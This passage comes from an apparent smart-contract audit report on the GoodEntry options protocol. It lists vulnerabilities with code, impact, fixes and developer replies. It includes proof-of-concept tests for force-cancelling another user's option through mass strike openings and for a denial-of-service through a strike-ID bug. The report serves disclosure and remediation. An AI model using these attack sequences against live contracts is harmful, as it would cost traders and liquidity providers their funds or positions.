With this strategy, Bob can close any position which seems likely to occur at the cost of opening several positions and gas. The below proof-of-concept profiles this strategy.


```
function meteredOpen(bool isCall, uint strike) internal returns (uint tokenId, uint
    gasUsed) {
    uint timeToExpiry = block.timestamp;
    uint notionalAmount;
    if(isCall) {
      notionalAmount = 10**weth.decimals();
    } else {
      notionalAmount = 50 * 10**usdc.decimals();
    }

    uint gasStart = gasleft();
    tokenId = positionManager.openFixedPosition(isCall, strike, notionalAmount,
    timeToExpiry);
    gasUsed = gasStart - gasleft();
}

function meteredCall(uint strike) internal returns (uint tokenId, uint gasUsed) {
  return meteredOpen(true, strike);
}

function meteredPut(uint strike) internal returns (uint tokenId, uint gasUsed) {
  return meteredOpen(false, strike);
}

function test_cancelPositions() public {
  _prepare_pm();

  // Seed vault to set price
  _mint(address(this), getTVL() * 1e10);

  // Set up Alice
  address alice = makeAddr("alice");
  uint aliceWethBalance = 1e5 * 10**weth.decimals();
  uint aliceUsdcBalance = 1e5 * 10**usdc.decimals();
  deal(USDC, alice, aliceWethBalance);
  deal(WETH9, alice, aliceUsdcBalance);
  hoax(alice); usdc.approve(address(positionManager), type(uint).max);

  // Set up bob
  address bob = makeAddr("bob");
  deal(USDC, bob, aliceWethBalance);
  deal(WETH9, bob, aliceUsdcBalance);
  hoax(bob); usdc.approve(address(positionManager), type(uint).max);

  // Suppose Alice opened a large position awhile ago which is now about
  // to come due
  uint strike = getBasePrice() + 1;
  startHoax(alice); (uint tokenId, ) = meteredCall(strike);

  // Suppose Bob is a large vault liquidity provider, and notices that the price
  // is close to the strike price. Bob doesn't want the position to pay out.
  // To prevent this, Bob opens 200 puts.
  uint totalGas = 0;
```

```
52    startHoax(bob);
53    for(uint i = 1; i <= 200; ++i) {
54      (, uint gasSpent) = meteredPut(getBasePrice() - i);
55      totalGas += gasSpent;
56    }
57    // Now, Bob can close alice's position
58    uint gasSpent = meteredClose(tokenId);
59    totalGas += gasSpent;
60
61    uint standardGweiPerGas = 20;
62    uint gweiAmount = totalGas * standardGweiPerGas;
63    console2.log("Total gas spent: %s", totalGas);
64    console2.log("Eth at %s Gwei/Gas: %s.%s", standardGweiPerGas, gweiAmount / 1e9,
        gweiAmount % 1e9);
65    console2.log("$ at $1900/Eth", gweiAmount * 1900 / 1e9);
66  }
```

This outputs the following:

```
1  Logs:
2    Length: 202 -> 201
3    Total gas spent: 197436669
4    Eth at 20 Gwei/Gas: 3.948733380
5    $ at $1900/Eth 7502
```

Hence, Bob can pay 7502 USD, plus the cost of opening those options (at most 10,000 USD) to cancel Alice's position.

Impact Vault LPs may collaborate to perform option cancellations, so any option worth more than around 17,000 USD is not protected.

Further, options which are already very deep (i.e. close to the highest or lowest strike) are more vulnerable to this attack. In particular, if someone interacting with the position manager has the `h`-deepest position, the vault LPs can close the position after using only `h+MAX_OPEN_STRIKES-openStrikes.length` new strike prices. For example, if `openStrikes.length == MAX_OPEN_STRIKES`, the deepest position (i.e. `h=1`) is vulnerable to cancellation for only 85 USD.

Note that the gas profiles were computed without optimization, so these numbers should ***not*** be considered the true cost of these operations. Rather, they are an upper bound on the safe size of an option. Option buyers should perform detailed profiling themselves to ensure that their options are small enough to be protected.

Recommendation Rather than cancelling the deepest positions, only allow emergency cancellations on the most recently opened positions.

Developer Response Most considered solutions lead to even worse griefing. If the last `tokenId` is closed in emergencies, then someone can just open far out-of-the-money (OTM) options and pay minimal funding to block anyone from using the pool. If we close the earliest `tokenId`, then anyone can open many positions to liquidate current traders and collect the fees. Far OTM seems to be the safest option.

We are considering limiting the options to streaming options or ensuring that the strikes' granularity and valid strike range (e.g., from -50% to +50%) are less than `MAX_OPEN_STRIKES` by design.

Updated Recommendation The developers raise a good point about the possibility of griefing. Some potential mitigations include charging extra to open a new strike or increasing the minimum amount spent on a position.

Updated Developer Response We have set a limit on how far the strike price can be from the base price when opening a position. This limit ensures that the number of valid strikes at any given base price is at most `MAX_STRIKES`. This will prevent an attacker from forcibly closing a position on one of these strikes unless they maintain several positions far out-of-the-money for a long time, awaiting the opportunity.

This behavior can be observed well in advance, and users can then choose not to interact with the position manager.

Updated Veridise Response The attack is still technically possible, and this solution requires active monitoring to check if these behaviors are occurring.

However, this fix makes the issue much more costly and much less likely to be successful. While it cannot be directly prevented, it can be observed ahead-of-time so that informed users are able to avoid this situation.

4.1.6 V-GDE-VUL-006: Minimum/maximum durations unused

Severity	High	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	openPosition()		
Confirmed Fix At	5184faf		

The `minDuration` and `maxDuration` constants are unused. Open position time expiries are unused.

```
// minimun position duration is 12 hours
uint public constant minDuration = 43200;
// maximum position duration is 7 days
uint public constant maxDuration = 7 * 86400;
```

Snippet 4.7: Definitions of duration bounds in `GoodEntryPositionManager`.

Impact Protocol users can take out extremely short positions, taking advantage of price information which might be just slightly ahead of on-chain oracle data.

Protocol users can also take out extremely long positions, locking up vault funds.

Recommendation Check the `minDuration` and `maxDuration` against the time-to-expiry when opening positions.

Developer Response We already enforced minimums, but using a different hard-coded constant. We have removed the above constants, and replaced them with two new constants, `MIN_FIXED_OPTIONS_TTE` and `MAX_FIXED_OPTIONS_TTE`. We now check each of these against the `timeToExpiry` when opening fixed positions.

4.1.7 V-GDE-VUL-007: No AMM rebalance after repay

Severity	High	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	contracts/vaults/GoodEntryVaultBase.sol		
Location(s)	repay()		
Confirmed Fix At	0386a60		

When a position is closed, the position manager repays the vault.

```
function repay(address token, uint amount, uint fees) public onlyOPM nonReentrant {
  require(amount > 0, "GEV: Invalid Debt");
  require(poolPriceMatchesOracle(), "GEV: Oracle Error");

  if(token == address(quoteToken)) quoteToken.safeTransferFrom(msg.sender, address(
    this), amount + fees);
  else {
    ERC20(token).safeTransferFrom(msg.sender, address(this), amount);
    quoteToken.safeTransferFrom(msg.sender, address(this), fees);
  }
  oracle.getAssetPrice(address(quoteToken));
  if (fees > 0) {
    reserveFees(0, fees, fees * oracle.getAssetPrice(address(quoteToken)) / 10**
    quoteToken.decimals());
    quoteToken.safeTransfer(goodEntryCore.treasury(), fees * goodEntryCore.
    treasuryShare() / 100);
  }
  emit Repaid(token, amount);
}
```

Snippet 4.8: Definition of `repay()`

If the position was in the money, the assets due to the vault will have decreased. In this case, the percentage of vault funds in the AMM may be larger than `ammPositionShare`.

Impact If multiple positions come out in the money, vault LPs will be overexposed to risk from the AMM.

Recommendation Rebalance vault funds in `repay()` to ensure at most `ammPositionShare`% of funds are in the AMM.

Developer Response

4.1.8 V-GDE-VUL-008: withdrawal fee incentives set incorrectly

Severity	Medium	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	`contracts/vaults/GoodEntryVaultBase.sol`		
Location(s)	withdraw()		
Confirmed Fix At	f84234a		

The `withdraw()` function in `GoodEntryVaultBase` adjusts the fee based on which token is being provided.

```
uint fee = amount * getAdjustedBaseFee(token == address(baseToken)) / 1e4;
```

Snippet 4.9: Fee computation in `withdraw()`. `token` is the address of the token being withdrawn.

As seen in the snippet below, `getAdjustedBaseFee()` is designed to increase the fee when a withdrawal results in a larger imbalance between the values of `baseToken` and `quoteToken`, and decrease the fee in the opposite scenario.

```
/// @notice Get deposit fee
/// @param increaseBase Whether (base is added || quote removed) or not
/// @dev Simple linear model: from baseFeeX4 / 2 to baseFeeX4 * 3 / 2
function getAdjustedBaseFee(bool increaseBase) public view returns (uint
    adjustedBaseFeeX4) {
  uint baseFeeX4_ = uint(baseFeeX4);
  (uint baseRes, uint quoteRes, ) = getReserves();
  uint valueBase  = baseRes  * oracle.getAssetPrice(address(baseToken))  / 10**
    baseToken.decimals();
  uint valueQuote = quoteRes * oracle.getAssetPrice(address(quoteToken)) / 10**
    quoteToken.decimals();

  if (increaseBase) adjustedBaseFeeX4 = baseFeeX4_ * valueBase  / (valueQuote + 1);
  else              adjustedBaseFeeX4 = baseFeeX4_ * valueQuote / (valueBase  + 1);

  // Adjust from -50% to +50%
  if (adjustedBaseFeeX4 < baseFeeX4_ / 2) adjustedBaseFeeX4 = baseFeeX4_ / 2;
  if (adjustedBaseFeeX4 > baseFeeX4_ * 3 / 2) adjustedBaseFeeX4 = baseFeeX4_ * 3 / 2;
}
```

Snippet 4.10: Definition of `getAdjustedBaseFee()`.

Note that `token == address(baseToken)` is true when `baseToken` is being removed, not when `quoteToken` is being removed. So, when there is more `baseToken` than `quoteToken`, it will be cheaper to withdraw `quoteToken` than `baseToken`.

Impact For withdrawals, users are incentivized to withdraw `baseToken` when they should be incentivized to withdraw `quoteToken`, and vice-versa.

This may lead to a large imbalance in the vault over time, restricting the ability of the vault to place reserves in an AMM.

Recommendation For withdrawals, check if `token == address(quoteToken)`, not `address(baseToken)`.

Developer Response We applied the recommended fix.

4.1.9 V-GDE-VUL-009: openStrikeIDs not updated

Severity	Medium	**Commit**	a86b0ae
Type	Denial of Service	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManger.sol`		
Location(s)	checkStrikeOi()		
Confirmed Fix At	65a9349		

The `GoodEntryPositionManager` tracks the total amount of value which must be covered for a call or put at each strike price using two data structures:

1. `openStrikes`: An array of all strike prices at which some put/call is open.
2. `openStrikeIDs`: A map from a strike price at which some put/call is open to its index in the `openStrikes` array.

When a call or put is closed, `closePosition()` invokes `checkStrikeOi()` to see if a strike price can be removed from these data structures.

```
function checkStrikeOi(uint strike) internal {
    if(strikeToOpenInterestCalls[strike] + strikeToOpenInterestPuts[strike] == 0){
      uint strikeId = openStrikeIds[strike];
      if(strikeId < openStrikes.length - 1){
        // if not last element, replace by last
        uint lastStrike = openStrikes[openStrikes.length - 1];
        openStrikes[strikeId] = lastStrike;
        openStrikeIds[lastStrike] = openStrikeIds[strike];
        openStrikeIds[strike] = 0;
      }
      openStrikes.pop();
    }
  }
```

Snippet 4.11: Definition of `checkStrikeOi()`.

The above function intends to remove the strike by swapping it with the last entry on the `openStrikes` array and then popping from the array. Note, however, that `openStrikeIds[strike]` is only set to 0 if `strikeId < openStrikes.length - 1`, i.e. if `strike` is not the most recently opened strike price.

This means that, if the `strike` is re-opened, it is not recorded on the `openStrikes` array.

```
if (openStrikeIds[strike] == 0) {
  openStrikes.push(strike);
  openStrikeIds[strike] = openStrikes.length - 1;
}
```

Snippet 4.12: Snippet from `openPosition()`

In particular, if a `strike` is closed while in the last position of `openStrikes`, it will never be added to `openStrikes` if re-opened.

Impact The protocol may be DoSed by a fairly large deposit. For example, the following test opens and closes a strike. Then, after taking out a call option with 38% of the vault share at that same strike, the utilization rate is computed at 61% (instead of 38%). Since the maximum utilization rate is 60%, no one can open another position until the option is closed.

This works because `getAssetsDue()` does not record the assets due back to the vault at the provided strike, so it will also lock the funds up for the vault liquidity providers.

```
function meteredCall(uint strike) internal returns (uint tokenId, uint gasUsed) {
      bool isCall = true;
      uint timeToExpiry = block.timestamp;
      uint notionalAmount = 1 * 10**weth.decimals();

      uint gasStart = gasleft();
      tokenId = positionManager.openFixedPosition(isCall, strike, notionalAmount,
    timeToExpiry);
      gasUsed = gasStart - gasleft();
  }

  function meteredClose(uint tokenId) internal returns (uint gasUsed) {
      uint gasStart = gasleft();
      positionManager.closePosition(tokenId);
      gasUsed = gasStart - gasleft();
  }

  function test_dosPositions() public {
    _prepare_pm();

    // Seed vault to set price
    _mint(address(this), getTVL() * 1e10);

    // Set up Alice
    address alice = makeAddr("alice");
    uint aliceWethBalance = 1e5 * 10**weth.decimals();
    uint aliceUsdcBalance = 1e5 * 10**usdc.decimals();
    deal(USDC, alice, aliceWethBalance);
    deal(WETH9, alice, aliceUsdcBalance);
    hoax(alice); usdc.approve(address(positionManager), type(uint).max);

    // Alice opens and closes a call at a strike
    uint strike = getBasePrice() + 1;
    startHoax(alice);
    (uint tokenId, ) = meteredCall(strike);
    meteredClose(tokenId);

    // Now strike has been popped off of openStrikes, but its openStrikeId
    // was not cleared.

    // Now when Alice opens these two positions, she can bypass the utilization rate
    uint maxOI = 60; // maxOI not accessible directly
    uint vaultShare = 38;
    (uint amountWeth,,) = getReserves();
    uint amountToCall = vaultShare * amountWeth / 100;

```

```
    uint amount0; uint amount1;
    (amount0, amount1) = positionManager.getAssetsDue();
    console.log("Assets due: (%s, %s)", amount0, amount1);
    (amount0, amount1, ) = getReserves();
    console.log("Reserves  : (%s, %s)", amount0, amount1);
    console.log("Utilization rate: %s%%", positionManager.getUtilizationRate(true, 0)
    );

    // put calls on at balance amount
    positionManager.openFixedPosition(true, strike, amountToCall, block.timestamp);

    (amount0, amount1) = positionManager.getAssetsDue();
    console.log("Assets due: (%s, %s)", amount0, amount1);
    (amount0, amount1, ) = getReserves();
    console.log("Reserves  : (%s, %s)", amount0, amount1);
    console.log("Utilization rate: %s%%", positionManager.getUtilizationRate(true, 0)
    );
  }
```

Output from this test is shown below:

```
Logs:
  Assets due: (0, 0)
  Reserves  : (9999999999999999999, 39968538470200)
  Utilization rate: 0%
  openStrikeIds[184372390001]: 1 -> 1
  Assets due: (0, 0)
  Reserves  : (61999999999999999999, 39968538470199)
  Utilization rate: 61%
```

To test this in the test suite, consider adding a `getOpenStrikesLength()` function to the position manager and checking that it returns the correct value when opening and closing positions.

Recommendation Always zero out `openStrikeIds[strike]` when popping `strike` from `openStrikes`.

Developer Response We applied the recommendation.

4.1.10 V-GDE-VUL-010: Initializable implementation contracts

Severity	Low	**Commit**	a86b0ae
Type	Access Control	**Status**	Acknowledged
File(s)	See description		
Location(s)	See description		
Confirmed Fix At			

The following contracts are used as implementation contracts for an upgradeable beacon.

- `GoodEntryPositionManager`
- `GoodEntryVaultAlgebra19`
- `GoodEntryVaultBase`
- `GoodEntryVaultUniV2`
- `GoodEntryVaultUniV3`
- `UniswapV2Position`

EaEach of these contracts' initialization function is named `initProxy` (except for `UniswapV2Position` , whose initialization function is named `initAmm`).

Each implementation uses a custom mechanism (or relies on a parent contract's custom mechanism) to prevent being called more than once.

Furthermore, none of the implementations prevent an attacker from calling `initProxy` on the implementation contract, which would allow them to own the implementation.

Impact An attacker controlling the implementation may open up potential attack vectors for scams.

Moreover, the non-standard approach to initialization may confuse developers or lead someone to forget to initialize a contract in future iterations.

Recommendation Inherit from OpenZeppelin's Initializable base contract. Have each (non-abstract) initialization method use the `initializer` modifier. Add a constructor which calls `_disableInitializers()`.

Developer Response The contracts are intended to be created using the core function `createVault`. As implementations are whitelisted, we do not need to worry about the possibility of third parties improperly forking our contracts.

The OpenZeppelin code is quite extensive, but we feel the current simple `require` statement is clear and sufficient.

4.1.11 V-GDE-VUL-011: Retroactive fees

Severity	Low	**Commit**	a86b0ae
Type	Missing/Incorrect Eve	**Status**	Acknowledged
File(s)	`contracts/GoodEntryCore.sol`		
Location(s)	setTreasury()		
Confirmed Fix At			

The owner of `GoodEntryCore` may change the treasury share at any time.

```
function setTreasury(address _treasury, uint8 _treasuryShare) public onlyOwner {
  require(_treasury != address(0x0), "GEC: Invalid Treasury");
  require(_treasuryShare <= 100, "GEC: Invalid Treasury Share");
  treasury = _treasury;
  treasuryShare = _treasuryShare;
  emit SetTreasury(_treasury, _treasuryShare);
}
```

Snippet 4.13: Definition of `setTreasury()` in `GoodEntryCore`.

This fee will then be applied the next time fees are claimed from an AMM, even though those fees were accrued when the `treasuryShare` had a different value.

Impact Increases in the `treasuryShare` may overcharge liquidity providers on already-earned fees.

Recommendation Claim fees before setting a new `treasuryShare` value.

Developer Response We responded by acknowledging the concern but stating that it is not possible to loop through all existing vaults without making them enumerable. We mentioned that in a situation like Uniswap where vaults are permissionlessly spawned with a TWAP oracle on new pairs, it would be impossible to do so. We believe it is acceptable to leave it as it is, considering that ownership will be in a timelock and this type of change will happen after a vote.

4.1.12 V-GDE-VUL-012: Use of magic number literals

Severity	Warning	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	See issue description		
Location(s)	See issue description		
Confirmed Fix At	4f907ab		

The codebase uses magic literal numbers across the code base. A few example are

```
require(timeToExpiry >= 86400, "GEP: Min Duration 1D");
```

Snippet 4.14: Snippet from openFixedPosition()

```
require(collateralAmount >= 1e6, "GEP: Min Collateral Error");
```

Snippet 4.15: Snippet from openStreamingPosition() in GoodEntryPositionManager

```
function getOptionPrice(bool isCall, address baseToken, address quoteToken, uint
    strike, uint timeToExpirySec, uint utilizationRateX8)
    public view returns (uint optionPrice)
  {
    uint priceX8 = getAssetPrice(baseToken) * 1e8 / getAssetPrice(quoteToken);

    uint8 volLengthInDays = 10;
    (uint volatility, uint realLength) = _volatility(baseToken, volLengthInDays);
    // Base volatility for pairs with missing data: 1000 (e.g, new Uniswap pair using
     TWAP price)
    if (realLength < volLengthInDays) volatility = ((volLengthInDays - realLength) *
    1000 + realLength * volatility) / volLengthInDays;
    // IV > RV usually for options, so mark up volatility for option pricing
    volatility = volatility * 135 / 100;
    // Use the utilization rate to boost IV up: vol = vol * ( 1 + log(
    utilizationRateX8)/10)
    volatility = volatility * (100 + 50 * Math.log10(utilizationRateX8 / 1e8) ) /
    100;

    // values used are e18, multiply by 1e10 for precision and divide back afterwards
    (uint callPrice, uint putPrice) =  BlackScholes.optionPrices(BlackScholes.
    BlackScholesInputs({
        timeToExpirySec: timeToExpirySec ,
        volatilityDecimal: volatility * 1e10,
        spotDecimal: priceX8 * 1e10, // DecimalMath uses 18 decimals while oracle
    price uses 8
        strikePriceDecimal: strike * 1e10,
        rateDecimal: _riskFreeRate * 1e10
      }));
    optionPrice = (isCall ? callPrice : putPrice) / 1e10;
    if (optionPrice == 0) optionPrice = 1e6; // min option price $0.01
  }
}
```

Snippet 4.16: Snippet from getOptionPrice() in GoodEntryOracle

```
require(collateralAmount >= 1e6, "GEP: Min Collateral Error");
```

Snippet 4.17: Snippet from `openPosition()` in GoodEntryPositionManager()

```
require(collateralAmount >= 1e6, "GEP: Min Collateral Error");
```

Snippet 4.18: Snippet from `getFeesAccumulated()` in GoodEntryPositionManager()

```
uint fee = amount * getAdjustedBaseFee(token == address(baseToken)) / 1e4;
```

Snippet 4.19: Snippet from `withdraw()` in GoodEntryVaultBase.sol

Snippets from `deposit()` in GoodEntryVaultBase.sol

```
uint fee = amount * adjBaseFee / 1e4;
```

```
if (tSupply == 0 || vaultValueX8 == 0)
      liquidity = valueX8 * 1e10;
```

```
function getBasePrice() public view returns (uint priceX8) {
  priceX8 = oracle.getAssetPrice(address(baseToken)) * 1e8 / oracle.getAssetPrice(
    address(quoteToken));
}
```

Snippet 4.20: Function `getBasePrice()` in GoodEntryVaultBase.sol

```
function setBaseFee(uint24 newBaseFeeX4) public onlyOwner {
  require(newBaseFeeX4 < 1e4, "VC: Invalid Base Fee");
  baseFeeX4 = newBaseFeeX4;
  emit SetFee(newBaseFeeX4);
}
```

Snippet 4.21: Function `setBaseFee()` in VaultConfigurator.sol

```
if (realLength < volLengthInDays) volatility = ((volLengthInDays - realLength) * 1000
     + realLength * volatility) / volLengthInDays;
// IV > RV usually for options, so mark up volatility for option pricing
volatility = volatility * 135 / 100;
// Use the utilization rate to boost IV up: vol = vol * ( 1 + log(utilizationRateX8)
    /10)
volatility = volatility * (100 + 50 * Math.log10(utilizationRateX8 / 1e8) ) / 100;
```

Snippet 4.22: Snippet from `getOptionPrice()` in GoodEntryOracle.sol

```
// Funding rate in quoteToken per second X10
uint fundingRateX10 = 1e10 * optionPrice / streamingOptionTTE;
```

Snippet 4.23: Snippet from `openPosition()` in GoodEntryPositionManager.sol

Impact If a value is used in multiple locations, it will have to be updated in all the locations if the value changes in further upgrades. This process is susceptible to mistakes.

Recommendation Declare constants for these literals and use these constants at use sites. See also V-GDE-VUL-016.

Developer Response We have replaced the hard-coded constants with solidity `constants`.

4.1.13 V-GDE-VUL-013: Missing validation on TVL cap

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Intended Behavior
File(s)	`contracts/vaults/GoodEntryVaultBase.sol`		
Location(s)	setTvlCap()		
Confirmed Fix At			

The protocol caps the TVL in the vault at a value set in `tvlCap`. This variable is checked in the `deposit()` function in `GoodEntryVaultBase`.

```
require(tvlCap == 0 || tvlCap > valueX8 + vaultValueX8, "GEV: Max Cap Reached");
```

Snippet 4.24: Function `deposit()` in GoodEntryVaultBase.sol

This variable is set in the `onlyOwner` protected function `setTvlCap()` in `VaultConfigurator`.

```
function setTvlCap(uint96 newTvlCap) public onlyOwner {
  tvlCap = newTvlCap;
  emit SetTvlCap(newTvlCap);
}
```

Snippet 4.25: Function `setTvlCap()` in VaultConfigurator

The variable `newTvlCap` is not validated to have a upper/lower bound.

Impact The `newTvlCap` passed to `setTvlCap()` may be smaller than the current total value locked. This will prevent any deposits until enough value is withdrawn and may mislead users of the protocol who assume the total value locked is at most `tvlCap`.

Recommendation Check if the total value locked is less than or equal to `newTvlCap`.

Developer Response There is no reason to prevent reducing caps on some vaults. If the cap is below the current TVL, users can only withdraw.

4.1.14 V-GDE-VUL-014: Missing validations in vault initialization

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Fixed
File(s)	GoodEntryCore.sol		
Location(s)	createVault()		
Confirmed Fix At	486cb0d		

All vaults in the protocol inherit from `GoodEntryVaultBase.sol`. This contract defines a function `initProxy()` which performs necessary initializations.

```
function initProxy(address _baseToken, address _quoteToken, address _positionManager,
    address weth, address _oracle) public virtual {
  require(address(goodEntryCore) == address(0), "GEV: Already Init");
  goodEntryCore = IGoodEntryCore(msg.sender);
  baseToken = ERC20(_baseToken);
  quoteToken = ERC20(_quoteToken);
  oracle = IGoodEntryOracle(_oracle);
  WETH = IWETH(weth);
  positionManager = GoodEntryPositionManager(_positionManager);
}
```

Snippet 4.26: Definition of initProxy() in GoodEntryVaultBase.sol

The definition of this function does perform non-zero validation of

- `_baseToken`
- `_quoteToken`
- `_oracle`

`initProxy()` is called from `createVault()` in `GoodEntryCore` which allows for permission less creations so it is possible for these arguments to be passed in erroneously.

Impact This would lead to creation of unusable vaults due to configuration errors.

Recommendation Check if the arguments to `initProxy()` are non-zero.

Developer Response We applied the recommendation.

4.1.15 V-GDE-VUL-015: Unchecked return from withdrawAmm

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Fixed
File(s)	`contracts/vaults/GoodEntryVaultUniV2.sol`, `contracts/vaults/GoodEntryVaultUniV3.sol`, `contracts/vaults/GoodEntryVaultAlgebra19.sol`		
Location(s)	withdrawAmm()		
Confirmed Fix At	4036ec9		

The function `withdrawAmm()` in `GoodEntryVaultUniV2`, `GoodEntryVaultUniV3`, and `GoodEntryVaultAlgebra19` does not set its return values.

```
1 function withdrawAmm() internal override(UniswapV3Position, GoodEntryVaultBase)
      returns (uint baseAmount, uint quoteAmount) {
2   UniswapV3Position.withdrawAmm();
3 }
```

Snippet 4.27: Definition of `withdrawAmm()`

Impact The return value for `withdrawAmm()` will always be zero.

Recommendation Return the value returned by the parent implementation.

Developer Response We applied the recommendation.

4.1.16 V-GDE-VUL-016: Inconsistent decimals

Severity	Warning	**Commit**	a86b0ae
Type	Maintainability	**Status**	Fixed
File(s)	`contracts/vaults/VaultConfigurator.sol`, `contracts/GoodEntryCore.sol`		
Location(s)	N/A		
Confirmed Fix At	d0391fd		

The GoodEntry protocol uses several different constants related to reserve limits and fees.

```
contract GoodEntryCore is Ownable, IGoodEntryCore {
  // [VERIDISE] ...
  /// @notice Treasury fee share in percent
  uint8 public treasuryShare = 20;
```

Snippet 4.28: Definition of `treasuryShare` in `GoodEntryCore`.

```
abstract contract VaultConfigurator is Ownable {
  // [VERIDISE] ...
  /// @notice Pool base fee
  uint24 public baseFeeX4 = 20;
  /// @notice Percentage of assets deployed in a full range
  uint8 public ammPositionShare = 50;
  /// @notice Max vault TVL with 8 decimals, 0 for no limit
  uint96 public tvlCap;
```

Snippet 4.29: Constants in `VaultConfigurator`.

These values each use a different number of decimals: 2 for `treasuryShare` and `ammPositionShare`, 4 for `baseFeeX4`, and 8 for `tvlCap`.

Impact Using only two decimals may lead to a significant loss of precision. For the `treasuryShare` computations, it may also result in the treasury receiving fewer fees than expected.

Otherwise, developers or users may be confused about the number of decimals for a specific constant.

Recommendation We would recommend adding a `constant` decimals variable for each fixed-point value.

For example, adding

```
constant FEE_DECIMALS = 10_000;
constant TVL_DECIMALS = 10_000_000;
constant SHARE_DECIMALS = 100;
```

This revision will make the code more robust to future decimal changes and ensure the number of decimals in each value is clear.

If this is not feasible, we recommend the developers follow the same naming convention for any value with a fixed number of decimals. For example, change the name of `ammPositionShare` to `ammPositionShareX2`.

Finally, we recommend increasing the number of share decimals from two.

Developer Response We have responded to the recommendation by stating that we have renamed the necessary variables to explicit decimals, such as `tvlCapX8`. We also decided that having higher granularity than necessary for `treasuryShare` would be unnecessary for our application.

4.1.17 V-GDE-VUL-017: Caps not checked in initialization

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Acknowledged
File(s)	`contracts/vaults/VaultConfigurator.sol`, `contracts/GoodEntryCore.sol`		
Location(s)	N/A		
Confirmed Fix At			

When setting the `GoodEntryCore.treasuryShare` field, or any of the settable `VaultConfigurator` fields, certain caps are checked.

```
function setAmmPositionShare(uint8 _ammPositionShare) public onlyOwner {
  require(_ammPositionShare < 100, "VC: Invalid FRS");
  ammPositionShare = _ammPositionShare;
  emit SetAmmPositionShare(_ammPositionShare);
}

function setBaseFee(uint24 newBaseFeeX4) public onlyOwner {
  require(newBaseFeeX4 < 1e4, "VC: Invalid Base Fee");
  baseFeeX4 = newBaseFeeX4;
  emit SetFee(newBaseFeeX4);
}
```

Snippet 4.30: Setters in `VaultConfigurator`

```
function setTreasury(address _treasury, uint8 _treasuryShare) public onlyOwner {
  require(_treasury != address(0x0), "GEC: Invalid Treasury");
  require(_treasuryShare <= 100, "GEC: Invalid Treasury Share");
  treasury = _treasury;
  treasuryShare = _treasuryShare;
  emit SetTreasury(_treasury, _treasuryShare);
}
```

Snippet 4.31: Setter for `GoodEntryCore.treasuryShare`.

None of these caps are checked during initialization. Further, the base fee may be set to any value up to 99.99%.

Impact Future changes to the initial values may violate the provided maxima.

Further, a large base fee may be set by the owner with no warning. Since users only receive (approximately) `1-baseFee/1e4` fraction of the value of their liquidity tokens, setting the `baseFee` to 99.99% would decrease the value of vault tokens to next-to-nothing without warning.

Recommendation Set a cap on the `baseFee` so that users have at least some guarantee on the value of their liquidity tokens.

Make the maximum values for each fee/share constants, and check them during construction/initialization. See also V-GDE-VUL-016.

Developer Response We expect users to check the deployment and initial contract state.

4.1.18 V-GDE-VUL-018: Truncation leaves dust

Severity	Warning	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	contracts/vaults/GoodEntryVaultAlgebra19.sol, contracts/vaults/GoodEntryVaultUniV3.sol		
Location(s)	_afterClaimFees()		
Confirmed Fix At	56249f1		

The below code snippets computes fees.

```
/// @notice Callback after fees are claimed to reserve fees
function _afterClaimFees(uint baseAmount, uint quoteAmount) internal override {
  uint treasuryShare = uint(goodEntryCore.treasuryShare());
  if(treasuryShare > 0) sendToTreasury(baseAmount * treasuryShare / 100, quoteAmount
    * treasuryShare / 100);
  uint valueFees = baseAmount * oracle.getAssetPrice(address(baseToken)) / 10**
    baseToken.decimals()
                + quoteAmount * oracle.getAssetPrice(address(quoteToken)) / 10**
    quoteToken.decimals();
  reserveFees(baseAmount * (100-treasuryShare) / 100, quoteAmount * (100-
    treasuryShare) / 100, valueFees);
}
```

Snippet 4.32: `_afterClaimFees()`, defined in `GoodEntryVaultUniV2` and `GoodEntryVaultAlgebra19`.

The fees are computed in the code as shown below.

```
fee = amount * feeNumerator / feeDenominator
amountLessFee = amount * (feeDenominator - feeNumerator) / feeDenominator
```

This rounds the fees down, when instead they should be rounded up.

Impact A small amount of (fractional) tokens will be lost in fees.

Recommendation Compute `amountLessFee` as `amount - fee`.

Developer Response We applied the recommendation.

4.1.19 V-GDE-VUL-019: Fixed position strikes are not validated

Severity	Warning	**Commit**	a86b0ae
Type	Data Validation	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	openPosition()		
Confirmed Fix At	ad0159a		

The GoodEntry protocol regularly iterates over all of the strike prices at which a position is open. To mitigate the costs, only certain strike prices are allowed. These strike prices are determined by the `StrikeManager` class.

```
function getStrikeSpacing(uint price) public pure returns (uint) {
// price is X8 so at that point it makes no much sense anyway, meme tokens like PEPE not supported
if (price < 100) return 1;
else if(price >= 100 && price < 500) return 1;
else if(price >= 500 && price < 1000) return 2;
else  // price > 1000 (x8)
  return getStrikeSpacing(price / 10) * 10;
}
```

Snippet 4.33: Function which computes the strike spacing for a given price.

However, prices not on the strike spacing may be set for fixed positions. In the below definition of `openFixedPosition`, `strike` is only validated to be above the current base price.

```
function openFixedPosition(bool isCall, uint strike, uint notionalAmount, uint timeToExpiry) external returns (uint tokenId){
  require(timeToExpiry >= 86400, "GEP: Min Duration 1D");
  uint basePrice = IGoodEntryVault(vault).getBasePrice();
  require((isCall && basePrice <= strike) || (!isCall && basePrice >= strike), "GEP: Not OTM");
  return openPosition(isCall, strike, notionalAmount, 0, timeToExpiry);
}
```

Snippet 4.34: Definition of `openFixedPosition()`

In `openPosition()`, `strike` is only validated for streaming positions.

```
function openPosition(bool isCall, uint strike, uint notionalAmount, uint collateralAmount, uint timeToExpiry) internal returns (uint tokenId) {
  uint basePrice = IGoodEntryVault(vault).getBasePrice();
  bool isStreamingOption = strike == 0;
  if(isStreamingOption) strike = isCall ? StrikeManager.getStrikeAbove(basePrice) : StrikeManager.getStrikeBelow(basePrice);
```

Snippet 4.35: The first part of the `openPosition()` function.

This means that, for fixed positions, any strike price may be provided, increasing gas costs for users of the protocol.

